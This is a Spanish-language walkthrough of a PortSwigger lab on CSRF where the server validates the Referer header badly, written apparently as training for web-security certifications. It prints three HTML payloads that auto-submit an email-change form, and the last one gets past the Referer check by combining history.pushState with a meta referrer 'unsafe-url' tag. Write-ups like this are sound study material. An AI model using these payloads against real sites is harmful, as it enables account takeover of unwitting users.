CSRF with broken Referer validation
Laboratorio de Portswigger sobre CSRF
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
tiene una funcionalidad de cambio de correo electrónico
que es vulnerable
a CSRF
. Intenta detectar y bloquear
solicitudes entre dominios
, pero su mecanismo de detección
puede ser evadido
. Para resolver
el laboratorio
, debemos usar nuestro servidor de explotación
para alojar una página HTML
que realice un ataque CSRF
y cambie
el correo electrónico
del usuario que la visite. Podemos iniciar sesión
en nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter
Guía de CSRF
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de CSRF
https://justice-reaper.github.io/posts/CSRF-Guide/
Resolución
Al acceder
a la web
vemos esto
Al pulsar sobre My account
y nos logueamos con la credenciales wiener:peter
Vemos que podemos cambiar
nuestro email
Aparte de las defensas que emplean los CSRF tokens
, algunas aplicaciones hacen uso del HTTP Referer header
para intentar defenderse de los ataques CSRF
, normalmente verificando
que la solicitud
se originó
desde el dominio
de la aplicación
. Este enfoque generalmente es menos efectivo
y suele ser susceptible de ser eludido
El HTTP Referer header
es una cabecera de solicitud opcional
que contiene
la URL
de la página web
desde la que proviene una solicitud
. Normalmente, los navegadores la agregan automáticamente cuando un usuario desencadena una solicitud HTTP
, ya sea al hacer click
en un enlace
o al enviar
un formulario
. Existen varios métodos que permiten que la página desde la que proviene la solicitud retenga o modifique el valor del Referer header
, lo cual, se hace a menudo por razones de privacidad
Si nos abrimos
las herramientas de desarrollador
de Chrome
vemos que el atributo SameSite
tiene el valor None
Inspeccionamos
la forma en la que se crea
el formulario
de cambio
de email
para usarlo
como plantilla
a la hora de construir
nuestro payload
Creamos
el payload
y lo copiamos
en el Exploit server
1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form action="https://0a38008204f6d4ef9c0ef998009e00c3.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="testing@gmail.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Al hacer click
en View exploit
el ataque no funciona y nos arroja
este mensaje
Si nos dirigimos a la extensión
de Burpsuite Logger++
y revisamos la petición
que acabamos de realizar, vemos que la cabecera Referer
hace referencia a nuestro servidor de exploits
Si nos fijamos en la petición
que hemos hecho al principio
de cambio
de email
, vemos que esa sí que ha sido exitosa
y que la única diferencia
con la actual es el valor
de la cabecera Referer
Algunas aplicaciones
validan el header Referer
de una forma ingenua
, lo que permite que sea evadido
. Por ejemplo, si la aplicación
verifica que el dominio
en el Referer
comienza con un valor esperado
, un atacante
puede colocar
ese valor como un subdominio
dentro de su propio dominio
1
http://vulnerable-website.com.attacker-website.com/csrf-attack
Del mismo modo, si la aplicación
solo valida
que el Referer
contiene su nombre de dominio
, un atacante
puede colocar
el valor requerido
en otra parte de la URL
1
http://attacker-website.com/csrf-attack?vulnerable-website.com
Aunque podamos identificar
este comportamiento
usando Burpsuite
, a menudo descubriremos que este enfoque
deja de funcionar
al probar nuestro PoC
en un navegador
. Esto se debe a que para reducir
el riesgo
de que se filtren datos sensibles
de esta manera, muchos navegadores
ahora eliminan
la cadena de consulta (?vulnerable-website.com)
de la cabecera Referer
por defecto
Podemos anular
este comportamiento
añadiendo la cabecera Referrer-Policy: unsafe-url
a nuestro exploit
. Esto garantiza que se envíe la URL completa
, incluida la cadena de consulta (?vulnerable-website.com)
En este caso, la primera forma
no es viable porque el servidor de explotación
que nos proporcionan no lo permite
. Sin embargo, la segunda forma
sí funciona, ya que la web
solo valida si el Referer
contiene el nombre del dominio
, sin importar si hay otras cadenas
en la URL
De acuerdo con la documentación
de Mozilla
https://developer.mozilla.org/en-US/docs/Web/API/History/pushState con history.pushState(state, unused, url)
, podemos cambiar
la URL
en el historial
del navegador
1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form action="https://0aae004404c5a6a2979c8bc400ef00f5.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="testing@gmail.com">
</form>
<script>
history.pushState('', '', '/?0aae004404c5a6a2979c8bc400ef00f5.web-security-academy.net')
document.forms[0].submit();
</script>
</body>
</html>
Al hacer click
en View exploit
nuevamente el ataque no funciona y nos arroja
este mensaje
otra vez
Si inspeccionamos
la petición
vemos que no se ha añadido /?0aae004404c5a6a2979c8bc400ef00f5.web-security-academy.net
a la URL
Como mencionamos anteriormente, podemos anular
este comportamiento
usando la cabecera Referrer-Policy: unsafe-url
. Para indagar más profundamente podemos consultar
la documentación
de Mozilla
https://developer.mozilla.org/es/docs/Web/HTTP/Reference/Headers/Referrer-Policy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<body>
<head>
<meta name="referrer" content="unsafe-url">
</head>
<form action="https://0aae004404c5a6a2979c8bc400ef00f5.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="testing@gmail.com">
</form>
<script>
history.pushState('', '', '?0aae004404c5a6a2979c8bc400ef00f5.web-security-academy.net')
document.forms[0].submit();
</script>
</body>
</html>
Si pulsamos sobre View exploit
veremos que no nos arroja ningún error
y nos cambia
el email
correctamente. Para completar
el laboratorio
debemos cambiar
nuestro email
o cambiar el email
usado en el payload
debido a que no puede haber dos usuarios con el mismo email